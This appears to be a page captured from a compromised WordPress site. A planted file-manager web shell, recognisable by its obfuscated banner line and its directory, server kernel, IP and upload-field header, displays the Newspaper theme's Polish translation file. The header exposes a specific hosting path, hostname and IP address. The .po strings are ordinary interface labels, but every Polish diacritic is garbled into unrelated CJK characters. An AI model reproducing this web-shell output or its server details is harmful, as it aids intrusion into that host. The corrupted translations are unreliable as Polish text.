PK 渜hY疃J傔F逨)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/internetmoney.kerihosting.com/wp-content/themes/Newspaper/translation/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : /home/trave494/internetmoney.kerihosting.com/wp-content/themes/Newspaper/translation/pl_PL.po

msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: pl_PL\n"

#: no reference:
msgid "View all results"
msgstr "Poka偶 wszystkie wyniki"

#: no reference:
msgid "No results"
msgstr "Brak wynik贸w"

#: no reference:
msgid "Home"
msgstr "Strona g艂贸wna"

#: no reference:
msgid "CLOSE"
msgstr "ZAMKNIJ"

#: no reference:
msgid "Page"
msgstr "Strona"

#: no reference:
msgid "All"
msgstr "Wszystko"

#: no reference:
msgid "By"
msgstr "Przez"

#: no reference:
msgid "Load more"
msgstr "Za艂aduj wi臋cej"

#: no reference:
msgid "View all posts in"
msgstr "Zobacz wszystkie wiadomo艣ci"

#: no reference:
msgid "Tags"
msgstr "Tagi"

#: no reference:
msgid "Previous article"
msgstr "Poprzedni artyku艂"

#: no reference:
msgid "Next article"
msgstr "Nast臋pny artyku艂"

#: no reference:
msgid "Authors"
msgstr "Autorzy"

#: no reference:
msgid "Author"
msgstr "Autor"

#: no reference:
msgid "RELATED ARTICLES"
msgstr "POWI膭ZANE ARTYKU艁Y"

#: no reference:
msgid "MORE FROM AUTHOR"
msgstr "WI臉CEJ OD AUTORA"

#: no reference:
msgid "VIA"
msgstr "PRZEZ"

#: no reference:
msgid "SOURCE"
msgstr "殴R脫D艁O"

#: no reference:
msgid "TAGS"
msgstr "TAGI"

#: no reference:
msgid "SHARE"
msgstr "PODZIEL SI臉"

#: no reference:
msgid "Continue"
msgstr "Kontynuuj"

#: no reference:
msgid "Read more"
msgstr "Czytaj wi臋cej"

#: no reference:
msgid "Name:"
msgstr "Nazwa:"

#: no reference:
msgid "Email:"
msgstr "E-mail:"

#: no reference:
msgid "Website:"
msgstr "Strona Internetowa:"

#: no reference:
msgid "Comment:"
msgstr "Komentarz:"

#: no reference:
msgid "LEAVE A REPLY"
msgstr "ZOSTAW ODPOWIED殴"

#: no reference:
msgid "Post Comment"
msgstr "Dodaj Komentarz"

#: no reference:
msgid "Cancel reply"
msgstr "Anuluj odpowied藕"

#: no reference:
msgid "Reply"
msgstr "Odpowiedz"

#: no reference:
msgid "Log in to leave a comment"
msgstr "Zaloguj si臋, aby doda膰 komentarz"

#: no reference:
msgid "NO COMMENTS"
msgstr "BRAK KOMENTARZY"

#: no reference:
msgid "1 COMMENT"
msgstr "1 KOMENTARZ"

#: no reference:
msgid "COMMENTS"
msgstr "KOMENTARZE"

#: no reference:
msgid "REVIEW OVERVIEW"
msgstr "PRZEGL膭D RECENZJI"

#: no reference:
msgid "SUMMARY"
msgstr "PODSUMOWANIE"

#: no reference:
msgid "OVERALL SCORE"
msgstr "WYNIK OG脫LNY"

#: no reference:
msgid "Ooops... Error 404"
msgstr "Uuuups ... B艂膮d 404"

#: no reference:
msgid "Sorry, but the page you are looking for doesn't exist."
msgstr "Przepraszamy, ale strona, kt贸rej szukasz nie istnieje."

#: no reference:
msgid "You can go to the"
msgstr "Mo偶esz przej艣膰 do"

#: no reference:
msgid "HOMEPAGE"
msgstr "STRONA G艁脫WNA"

#: no reference:
msgid "OUR LATEST POSTS"
msgstr "NASZE NAJNOWSZE WPISY"

#: no reference:
msgid "Posts by"
msgstr "Posty przez"

#: no reference:
msgid "POSTS"
msgstr "POSTY"

#: no reference:
msgid "Posts tagged with"
msgstr "Wiadomo艣ci z tagiem"

#: no reference:
msgid "Tag"
msgstr "Tag"

#: no reference:
msgid "Daily Archives:"
msgstr "Dzienne Archiwum:"

#: no reference:
msgid "Monthly Archives:"
msgstr "Miesi臋czne Archiwum:"

#: no reference:
msgid "Yearly Archives:"
msgstr "Roczne Archiwum:"

#: no reference:
msgid "Archives"
msgstr "Archiwa"

#: no reference:
msgid "LATEST ARTICLES"
msgstr "NAJNOWSZE ARTYKU艁Y"

#: no reference:
msgid "search results"
msgstr "wyniki wyszukiwania"

#: no reference:
msgid "Search"
msgstr "Wyszukiwanie"

#: no reference:
msgid "If you're not happy with the results, please do another search"
msgstr "Je艣li nie jeste艣 zadowolony z wynik贸w, nale偶y ponownie uruchomi膰 wyszukiwanie"

#: no reference:
msgid "Contact us"
msgstr "Skontaktuj si臋 z nami"

#: no reference:
msgid "Page %CURRENT_PAGE% of %TOTAL_PAGES%"
msgstr "Strona %CURRENT_PAGE% z %TOTAL_PAGES%"

#: no reference:
msgid "Next"
msgstr "Nast臋pny"

#: no reference:
msgid "Prev"
msgstr "Poprzedni"

#: no reference:
msgid "No results for your search"
msgstr "Brak wynik贸w dla Twojego wyszukiwania"

#: no reference:
msgid "No posts to display"
msgstr "Brak post贸w do wy艣wietlenia"

#: no reference:
msgid "LOG IN"
msgstr "ZALOGUJ SI臉"

#: no reference:
msgid "Sign in / Join"
msgstr "Zaloguj si臋 / Do艂膮cz"

#: no reference:
msgid "Log In"
msgstr "Zaloguj si臋"

#: no reference:
msgid "REGISTER"
msgstr "ZAREJESTRUJ SI臉"

#: no reference:
msgid "Send My Pass"
msgstr "Wy艣lij Moj膮 Przepustk臋"

#: no reference:
msgid "Forgot your password?"
msgstr "Nie pami臋tasz has艂a?"

#: no reference:
msgid "Please wait..."
msgstr "Prosz臋 czeka膰 ..."

#: no reference:
msgid "User or password incorrect!"
msgstr "U偶ytkownik lub has艂o niepoprawne!"

#: no reference:
msgid "Email or username incorrect!"
msgstr "E-mail lub nazwa u偶ytkownika jest niepoprawna!"

#: no reference:
msgid "Email incorrect!"
msgstr "E-mail niepoprawny!"

#: no reference:
msgid "User or email already exists!"
msgstr "U偶ytkownik lub adres e-mail ju偶 istnieje!"

#: no reference:
msgid "Please check your email (index or spam folder), the password was sent there."
msgstr "Prosz臋 sprawd藕 sw贸j e-mail (indeks lub folder spam), has艂o zosta艂o tam wys艂ane."

#: no reference:
msgid "Email address not found!"
msgstr "Adres e-mail nie zosta艂 znaleziony!"

#: no reference:
msgid "Your password is reset, check your email."
msgstr "Twoje has艂o jest resetowane, sprawd藕 sw贸j e-mail."

#: no reference:
msgid "Welcome! Log into your account"
msgstr "Witamy! Zaloguj si臋 na swoje konto"

#: no reference:
msgid "Register for an account"
msgstr "Zarejestruj konto"

#: no reference:
msgid "Recover your password"
msgstr "Odzyskaj swoje has艂o"

#: no reference:
msgid "your username"
msgstr "Twoja nazwa u偶ytkownika"

#: no reference:
msgid "your password"
msgstr "Twoje has艂o"

#: no reference:
msgid "your email"
msgstr "Tw贸j e-mail"

#: no reference:
msgid "A password will be e-mailed to you."
msgstr "Has艂o zostanie wys艂ane e-mailem."

#: no reference:
msgid "Logout"
msgstr "Wyloguj"

#: no reference:
msgid "Like"
msgstr "Lubi臋"

#: no reference:
msgid "Fans"
msgstr "Fani"

#: no reference:
msgid "Follow"
msgstr "Obserwuj"

#: no reference:
msgid "Followers"
msgstr "Obserwuj膮cy"

#: no reference:
msgid "Subscribe"
msgstr "Subskrybuj"

#: no reference:
msgid "Subscribers"
msgstr "Subskrybuj膮cy"

#: no reference:
msgid "MORE STORIES"
msgstr "WI臉CEJ HISTORII"

#: no reference:
msgid "Latest"
msgstr "Najnowsze"

#: no reference:
msgid "Featured posts"
msgstr "Wyr贸偶nione posty"

#: no reference:
msgid "Most popular"
msgstr "Najbardziej popularne"

#: no reference:
msgid "7 days popular"
msgstr "Popularne 7 dni"

#: no reference:
msgid "By review score"
msgstr "Przez wynik przegl膮dania"

#: no reference:
msgid "Random"
msgstr "Przypadkowy"

#: no reference:
msgid "Trending Now"
msgstr "Na Topie"

#: no reference:
msgid "POPULAR CATEGORY"
msgstr "POPULARNE KATEGORIE"

#: no reference:
msgid "EVEN MORE NEWS"
msgstr "NAWET WI臉CEJ WIADOMO艢CI"

#: no reference:
msgid "Previous (Left arrow key)"
msgstr "Poprzedni (Strza艂ka w lewo)"

#: no reference:
msgid "Next (Right arrow key)"
msgstr "Nast臋pny (Strza艂ka w prawo)"

#: no reference:
msgid "%curr% of %total%"
msgstr "%curr% z %total%"

#: no reference:
msgid "The content from %url% could not be loaded."
msgstr "Zawarto艣膰 z %url% nie mo偶e by膰 za艂adowana."

#: no reference:
msgid "The image #%curr% could not be loaded."
msgstr "Obraz #%curr% nie mo偶e by膰 za艂adowany."

#: no reference:
msgid "Blog"
msgstr "Blog"

#: no reference:
msgid "Share on Facebook"
msgstr "Podziel si臋 na Facebooku"

#: no reference:
msgid "Tweet on Twitter"
msgstr "Tweet (膯wierkaj) na Twitterze"

#: no reference:
msgid "EDITOR PICKS"
msgstr "REDAKCJA"

#: no reference:
msgid "POPULAR POSTS"
msgstr "POPULARNE POSTY"

#: no reference:
msgid "FOLLOW US"
msgstr "POD膭呕AJ ZA NAMI"

#: no reference:
msgid "ABOUT US"
msgstr "O NAS"

#: no reference:
msgid "More"
msgstr "Wi臋cej"

#: no reference:
msgid "Featured"
msgstr "Funkcjonalny"

#: no reference:
msgid "All time popular"
msgstr "Ca艂y czas popularne"

#: no reference:
msgid "Likes"
msgstr "Upodobania"

#: no reference:
msgid "Register"
msgstr "Zarejestrowa膰"